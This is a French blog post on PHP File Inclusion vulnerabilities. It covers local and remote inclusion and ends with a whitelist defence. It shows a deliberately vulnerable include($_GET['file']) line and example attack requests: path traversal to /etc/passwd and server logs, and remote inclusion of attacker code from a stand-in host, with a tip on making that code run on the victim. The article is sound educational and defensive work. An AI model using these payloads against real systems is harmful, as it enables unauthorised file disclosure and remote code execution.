Vulnérabilités du web : File Inclusion

Le partage, c’est bien quand c’est utile :

On va parler cette fois-ci d’une des failles les plus connues par les néophytes même si pas la plus répandue. On la réduit parfois à la faille include() mais ce n’est qu’un exemple de faille de type File Inclusion.

Cette faille permet d’exécuter du code arbitraire sur le serveur dans le pire des cas. Elle peut aussi permettre de lire des fichiers qui ne devraient pas être accessibles depuis l’utilisateur ou le code d’un fichier PHP par exemple. Ça peut devenir une forme de Directory Traversal qui est  déjà le sujet d’un article.

Tout réside dans un mauvais traitement (ou filtrage) des données contrôlables par l’utilisateur – comme la plupart des failles de sécurité – formant une chaîne qui va servir de chemin d’accès vers un fichier ou un répertoire. Plus clairement, si aucun (ou pas assez de) traitement est réalisé, un pirate pourra par exemple rediriger l’inclusion vers un fichier critique ou un fichier distant lui appartenant.

Un exemple rapide

Imaginons ce code PHP à la racine du site :

include($_GET[‘file’]);

On peut attaquer l’application par ce genre de requêtes :

  • /?file=repertoire/protege/par/un/htaccess/fichier-sensible
  • /?file=../../../../etc/passwd
  • /?file=http://server.tld/code.txt
  • /?file=../../../../../var/log/httpd

Il existe plusieurs types de File Inclusion. On en citera ici trois et en expliquera deux, la troisième faisant partie d’un article publié sur ce blog : File Inclusion : exploitation avancée.

Local File Inclusion

Le fichier qui sera inclus ici est un fichier du serveur où se trouve l’application web contenant la faille de sécurité. Cela pourra permettre de lire des fichiers critiques ou d’exécuter des fichiers modifiables par l’utilisateur comme une fichier de log.

Remote File Inclusion

Dans ce cas-ci, on va inclure un fichier distant (remote). Ca peut être un fichier contenant du code PHP qui sera exécuté sur le serveur victime de l’attaque. Une erreur souvent commise pour ce type d’inclusion de fichiers est d’inclure un code qui est hébergé sur un serveur distant gérant les fichiers PHP et avec l’extension .php. Pourquoi ?

Le serveur victime va appeler le code distant via une requête HTTP. Le serveur hébergeant le fichier va alors l’exécuter et renvoyer le résultat au serveur victime. Il ne reste donc plus aucun code à exécuter par la victime. Pour résoudre ce problème, il suffit d’empêcher l’exécution du côté du serveur pirate en changeant l’extension par exemple.

Inclusion de protocoles spéciaux

On va ici utiliser les protocoles spéciaux de certains langages de programmation. Pour plus d’informations, lisez l’article dédié à cette technique.

En PHP

La plupart du temps, il s’agira des fonctions include() et require() avec leur variante *_once(). Concernant les deux derniers types de File Inclusion, ils peuvent être sérieusement restreints par les options allow_url_include et allow_url_fopen dans la configuration de PHP.

Se protéger

Pour se protéger, il faut correctement valider la chaîne envoyée à ces fonctions sensibles (même si ça peut être plus compliqué qu’un simple appel de fonction).  Pour ça, on peut, certes, empêcher certains caractères comme les / par exemple mais cette protection n’est pas tout à fait correcte. En effet, on peut encore inclure des fichiers locaux ou utiliser le \ sur Windows par exemple.

Le mieux est d’utiliser une whitelist des fichiers autorisés à être inclus dans l’application. Ainsi, impossible d’influencer l’exécution. Voici un exemple en PHP :

<?php
switch($_GET['file']) {
case 'faq': $res = 'faq.php'; break;
case 'contact': $res = 'contact.php'; break;
default: $res = 'presentation.php';
}
include($res);
?>

Le partage, c’est bien quand c’est utile :